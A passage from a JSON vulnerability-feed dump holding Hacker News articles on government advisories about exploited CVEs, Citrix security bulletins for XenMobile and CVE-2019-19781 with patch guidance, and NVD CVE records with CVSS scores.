Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", "id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:17", "description": "[](<https://thehackernews.com/images/-_sUoUckANJU/YQJlBsicySI/AAAAAAAADX0/BEDLvJhwqzYImk1o5ewZhnKeXxnoL0D0wCLcBGAsYHQ/s0/Security-Vulnerabilities.jpg>)\n\nIntelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.\n\n\"Cyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) [noted](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>).\n\n\"However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\"\n\nThe top 30 vulnerabilities span a wide range of software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.\n\nThe most routinely exploited flaws in 2020 are as follows -\n\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (CVSS score: 9.8) - F5 BIG-IP remote code execution vulnerability\n * [**CVE-2020-15505**](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) (CVSS score: 9.8) - MobileIron Core & Connector remote code execution vulnerability\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) - Microsoft Exchange memory corruption vulnerability\n * [**CVE-2019-3396**](<https://nvd.nist.gov/vuln/detail/CVE-2019-3396>) (CVSS score: 9.8) - Atlassian Confluence Server remote code execution vulnerability\n * [**CVE-2017-11882**](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>) (CVSS score: 7.8) - Microsoft Office memory corruption vulnerability\n * [**CVE-2019-11580**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11580>) (CVSS score: 9.8) - Atlassian Crowd and Crowd Data Center remote code execution vulnerability\n * [**CVE-2018-7600**](<https://nvd.nist.gov/vuln/detail/CVE-2018-7600>) (CVSS score: 9.8) - Drupal remote code execution vulnerability\n * [**CVE-2019-18935**](<https://nvd.nist.gov/vuln/detail/CVE-2019-18935>) (CVSS score: 9.8) - Telerik .NET deserialization vulnerability resulting in remote code execution\n * [**CVE-2019-0604**](<https://nvd.nist.gov/vuln/detail/CVE-2019-0604>) (CVSS score: 9.8) - Microsoft SharePoint remote code execution vulnerability\n * [**CVE-2020-0787**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0787>) (CVSS score: 7.8) - Windows Background Intelligent Transfer Service (BITS) elevation of privilege vulnerability\n * [**CVE-2020-1472**](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) (CVSS score: 10.0) - Windows [Netlogon elevation of privilege](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) vulnerability\n\nThe list of vulnerabilities that have come under active attack thus far in 2021 are listed below -\n\n * [Microsoft Exchange Server](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>): [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>), [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>) (aka \"ProxyLogon\")\n * [Pulse Secure](<https://thehackernews.com/2021/05/new-high-severity-vulnerability.html>): [CVE-2021-22893](<https://nvd.nist.gov/vuln/detail/CVE-2021-22893>), [CVE-2021-22894](<https://nvd.nist.gov/vuln/detail/CVE-2021-22894>), [CVE-2021-22899](<https://nvd.nist.gov/vuln/detail/CVE-2021-22899>), and [CVE-2021-22900](<https://nvd.nist.gov/vuln/detail/CVE-2021-22900>)\n * [Accellion](<https://thehackernews.com/2021/03/extortion-gang-breaches-cybersecurity.html>): [CVE-2021-27101](<https://nvd.nist.gov/vuln/detail/CVE-2021-27101>), [CVE-2021-27102](<https://nvd.nist.gov/vuln/detail/CVE-2021-27102>), [CVE-2021-27103](<https://nvd.nist.gov/vuln/detail/CVE-2021-27103>), and [CVE-2021-27104](<https://nvd.nist.gov/vuln/detail/CVE-2021-27104>)\n * [VMware](<https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html>): [CVE-2021-21985](<https://nvd.nist.gov/vuln/detail/CVE-2021-21985>)\n * Fortinet: [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2020-12812](<https://nvd.nist.gov/vuln/detail/CVE-2020-12812>), and [CVE-2019-5591](<https://nvd.nist.gov/vuln/detail/CVE-2019-5591>)\n\nThe development also comes a week after MITRE [published](<https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html>) a list of top 25 \"most dangerous\" software errors that could lead to serious vulnerabilities that could be exploited by an adversary to take control of an affected system, obtain sensitive information, or cause a denial-of-service condition.\n\n\"The advisory [...] puts the power in every organisation's hands to fix the most common vulnerabilities, such as unpatched VPN gateway devices,\" NCSC Director for Operations, Paul Chichester, [said](<https://www.ncsc.gov.uk/news/global-cyber-vulnerabilities-advice>), urging the need to prioritize patching to minimize the risk of being exploited by malicious actors.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-29T08:21:00", "type": "thn", "title": "Top 30 Critical Security Vulnerabilities Most Exploited by Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2019-5591", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-08-04T09:03:14", "id": "THN:B95DC27A89565323F0F8E6350D24D801", "href": "https://thehackernews.com/2021/07/top-30-critical-security.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "citrix": [{"lastseen": "2022-07-05T16:55:36", "description": "## Description of Problem\n\nMultiple vulnerabilities have been discovered in Citrix Endpoint Management (CEM), also referred to as XenMobile. \nThese vulnerabilities have the following identifiers:\n\n * CVE-2020-8208\n * CVE-2020-8209\n * CVE-2020-8210\n * CVE-2020-8211\n * CVE-2020-8212\n * CVE-2020-8253\n\nThe following versions of Citrix Endpoint Management (CEM) are affected by critical severity vulnerabilities:\n\n * XenMobile Server 10.12 before RP2\n * XenMobile Server 10.11 before RP4\n * XenMobile Server 10.10 before RP6\n * XenMobile Server before 10.9 RP5\n\nCustomers affected by these critical severity vulnerabilities are strongly recommended to update their deployments immediately.\n\nAdditionally, the following versions of Citrix Endpoint Management (CEM) are affected by medium and low severity vulnerabilities:\n\n * XenMobile Server 10.12 before RP3\n * XenMobile Server 10.11 before RP6\n * XenMobile Server 10.10 before RP6\n * XenMobile Server before 10.9 RP5\n\nCustomers who are only affected by these medium and low severity vulnerabilities are recommended to update their deployments as soon as their patching schedule allows.\n\nCustomers using the cloud version of Citrix Endpoint Management are not affected by these vulnerabilities.\n\n## What Customers Should Do\n\nThe latest Rolling Patches for Citrix Endpoint Management (CEM) can be downloaded from the following locations:\n\n * XenMobile Server 10.12 RP3: <https://support.citrix.com/article/CTX277473>\n * XenMobile Server 10.11 RP6: <https://support.citrix.com/article/CTX277698>\n * XenMobile Server 10.10 RP6: <https://support.citrix.com/article/CTX279101>\n * XenMobile Server 10.9 RP5: <https://support.citrix.com/article/CTX279098>\n\nCustomers should ensure they are running a supported version and then download and deploy the latest rolling patch to their deployments.\n\n## Acknowledgements\n\nCitrix would like to thank Andrey Medov of Positive Technologies ([https://www.ptsecurity.com](<https://www.ptsecurity.com/>)), Glyn Wintle of Tradecraft ([https://www.wearetradecraft.com](<https://www.wearetradecraft.com/>)) and Kristian Bremberg of Detectify for working with us to protect Citrix customers.\n\n## What Citrix Is Doing\n\nCitrix is notifying customers and channel partners about this potential security issue. This article is also available from the Citrix Knowledge Center at _ <http://support.citrix.com/>_.\n\n## Obtaining Support on This Issue\n\nIf you require technical assistance with this issue, please contact Citrix Technical Support. Contact details for Citrix Technical Support are available at _ <https://www.citrix.com/support/open-a-support-case.html>_. \n\n## Reporting Security Vulnerabilities\n\nCitrix welcomes input regarding the security of its products and considers any and all potential vulnerabilities seriously. For guidance on how to report security-related issues to Citrix, please see the Citrix Trust Center at <https://www.citrix.com/about/trust-center/vulnerability-process.html>\n\n## Changelog\n\nDate | Change \n---|--- \n2020-08-11| Initial publication \n2020-09-18| CVE-2020-8253 Added\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-11T04:00:00", "type": "citrix", "title": "Citrix Endpoint Management (CEM) Security Update", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8208", "CVE-2020-8209", "CVE-2020-8210", "CVE-2020-8211", "CVE-2020-8212", "CVE-2020-8253"], "modified": "2020-09-18T04:00:00", "id": "CTX277457", "href": "https://support.citrix.com/article/CTX277457/citrix-endpoint-management-cem-security-update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-05T16:55:35", "description": "## Description of Problem\n\nA vulnerability has been identified in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.\n\nThe scope of this vulnerability includes Citrix ADC and Citrix Gateway Virtual Appliances (VPX) hosted on any of Citrix Hypervisor (formerly XenServer), ESX, Hyper-V, KVM, Azure, AWS, GCP, Citrix ADC MPX or Citrix ADC SDX.\n\nFurther investigation by Citrix has shown that this issue also affects certain deployments of Citrix SD-WAN, specifically Citrix SD-WAN WANOP edition. Citrix SD-WAN WANOP edition packages Citrix ADC as a load balancer thus resulting in the affected status.\n\nThe vulnerability has been assigned the following CVE number:\n\n\u2022 CVE-2019-19781 : Vulnerability in Citrix Application Delivery Controller, Citrix Gateway and Citrix SD-WAN WANOP appliance leading to arbitrary code execution\n\nThe vulnerability affects the following supported product versions on all supported platforms:\n\n\u2022 Citrix ADC and Citrix Gateway version 13.0 all supported builds before 13.0.47.24\n\n\u2022 NetScaler ADC and NetScaler Gateway version 12.1 all supported builds before 12.1.55.18\n\n\u2022 NetScaler ADC and NetScaler Gateway version 12.0 all supported builds before 12.0.63.13\n\n\u2022 NetScaler ADC and NetScaler Gateway version 11.1 all supported builds before 11.1.63.15\n\n\u2022 NetScaler ADC and NetScaler Gateway version 10.5 all supported builds before 10.5.70.12\n\n\u2022 Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b\n\n* * *\n\n## What Customers Should Do\n\nExploits of this issue on unmitigated appliances have been observed in the wild. Citrix strongly urges affected customers to immediately upgrade to a fixed build OR apply the provided mitigation which applies equally to Citrix ADC, Citrix Gateway and Citrix SD-WAN WANOP deployments. Customers who have chosen to immediately apply the mitigation should then upgrade all of their vulnerable appliances to a fixed build of the appliance at their earliest schedule. Subscribe to bulletin alerts at <https://support.citrix.com/user/alerts> to be notified when the new fixes are available.\n\nThe following knowledge base article contains the steps to deploy a responder policy to mitigate the issue in the interim until the system has been updated to a fixed build: [CTX267679 - Mitigation steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>)\n\nThe following knowledge base article contains the steps to deploy a responder policy to mitigate the issue in the interim until a permanent fix is available: [CTX267679 - Mitigation steps for CVE-2019-19781](<https://support.citrix.com/article/CTX267679>)\n\nUpon application of the mitigation steps, customers may then verify correctness using the tool published here: [CTX269180 - CVE-2019-19781 \u2013 Verification Tool](<https://support.citrix.com/article/CTX269180>)\n\n_In Citrix ADC and Citrix Gateway Release \"12.1 build 50.28\", an issue exists that affects responder and rewrite policies causing them not to process the packets that matched policy rules. This issue was resolved in \"12.1 build 50.28/31\" after which the mitigation steps, if applied, will be effective. However, Citrix recommends that customers using these builds now update to \"12.1 build 55.18\", or later, where CVE-2019-19781 issue is already addressed._\n\n_Customers on \"12.1 build 50.28\" who wish to defer updating to \"12.1 build 55.18\" or later should choose one from the following two options for the mitigation steps to function as intended:_\n\n_1\\. Update to the refreshed \"12.1 build 50.28/50.31\" or later and apply the mitigation steps, OR \n_\n\n_2\\. Apply the mitigation steps towards protecting the management interface as published in CTX267679. This will mitigate attacks, not just on the management interface but on ALL interfaces including Gateway and AAA virtual IPs_\n\n**Fixed builds have been released across all supported versions of Citrix ADC and Citrix Gateway. Fixed builds have also been released for Citrix SD-WAN WANOP for the applicable appliance models. Citrix strongly recommends that customers install these updates at their earliest schedule. The fixed builds can be downloaded from <https://www.citrix.com/downloads/citrix-adc/> and <https://www.citrix.com/downloads/citrix-gateway/> and <https://www.citrix.com/downloads/citrix-sd-wan/>**\n\n** [](<https://www.citrix.com/downloads/citrix-sd-wan/>)** \nCustomers who have upgraded to fixed builds do not need to retain the mitigation described in CTX267679.\n\n* * *\n\n## Fix Timelines\n\nCitrix has released fixes in the form of refresh builds across all supported versions of Citrix ADC, Citrix Gateway, and applicable appliance models of Citrix SD-WAN WANOP. Please refer to the table below for the release dates.\n\nCitrix ADC and Citrix Gateway \n--- \nVersion | Refresh Build | Release Date \n10.5 | 10.5.70.12 | 24th January 2020 (Released) \n11.1 | 11.1.63.15 | 19th January 2020 (Released) \n12.0 | 12.0.63.13 | 19th January 2020 (Released) \n12.1 | 12.1.55.18 | 23rd January 2020 (Released) \n13.0 | 13.0.47.24 | 23rd January 2020 (Released) \nCitrix SD-WAN WANOP \nRelease | Citrix ADC Release | Release Date \n10.2.6b | 11.1.51.615 | 22nd January 2020 (Released) \n11.0.3b | 11.1.51.615 | 22nd January 2020 (Released) \n \n* * *\n\n## Acknowledgements\n\nCitrix thanks Mikhail Klyuchnikov of Positive Technologies, and Gianlorenzo Cipparrone and Miguel Gonzalez of Paddy Power Betfair plc for working with us to protect Citrix customers.\n\n* * *\n\n## What Citrix Is Doing\n\nCitrix is notifying customers and channel partners about this potential security issue. This article is also available from the Citrix Knowledge Center at _ <http://support.citrix.com/>_.\n\n* * *\n\n## Obtaining Support on This Issue\n\nIf you require technical assistance with this issue, please contact Citrix Technical Support. Contact details for Citrix Technical Support are available at _ <https://www.citrix.com/support/open-a-support-case.html>_. \n\n* * *\n\n## Reporting Security Vulnerabilities\n\nCitrix welcomes input regarding the security of its products and considers any and all potential vulnerabilities seriously. For guidance on how to report security-related issues to Citrix, please see the following document: CTX081743 \u2013 [Reporting Security Issues to Citrix](<http://support.citrix.com/article/CTX081743>)\n\n* * *\n\n## Changelog\n\nDate | Change \n---|--- \n17th December 2019 | Initial Publication \n11th January 2020 | Fix Timelines Updated \n16th January 2020 | SD-WAN WANOP added/Citrix ADC 12.1 responder bug detail added \n16th January 2020 | CVE verification tool \n17th January 2020 | Update to Citrix ADC and Citrix Gateway 12.1 responder policy issue \n19th January 2020 | Announced release of 12.0 and 11.1 builds. Announced earlier release dates for other versions. \n22nd January 2020 | Announced fixes for SD-WAN WANOP appliances \n23rd January 2020 | Announced (accelerated) release of 13.0 and 12.1 builds. \n24th January 2020 | Announced release of 10.5 build \n23rd October 2020 | Added explicit statement clarifying that MPX is affected \n \n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-17T05:00:00", "type": "citrix", "title": "CVE-2019-19781 - Vulnerability in Citrix Application Delivery Controller, Citrix Gateway, and Citrix SD-WAN WANOP appliance", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-10-23T04:00:00", "id": "CTX267027", "href": "https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cve": [{"lastseen": "2023-02-09T15:30:39", "description": "Improper input validation in Citrix XenMobile Server 10.12 before RP1, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.11 before RP6 and Citrix XenMobile Server before 10.9 RP5 allows Cross-Site Scripting (XSS).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2020-08-17T16:15:00", "type": "cve", "title": "CVE-2020-8208", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8208"], "modified": "2020-08-19T14:18:00", "cpe": ["cpe:/a:citrix:xenmobile_server:10.10.0", "cpe:/a:citrix:xenmobile_server:10.8.0", "cpe:/a:citrix:xenmobile_server:10.12.0", "cpe:/a:citrix:xenmobile_server:10.11.0", "cpe:/a:citrix:xenmobile_server:10.9.0"], "id": "CVE-2020-8208", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-8208", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch5:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch2:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch4:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.10.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:-:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.11.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.9.0:rolling_patch3:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.12.0:rolling_patch1:*:*:*:*:*:*", "cpe:2.3:a:citrix:xenmobile_server:10.8.0:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-09T15:30:39", "description": "Improper access control in Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, 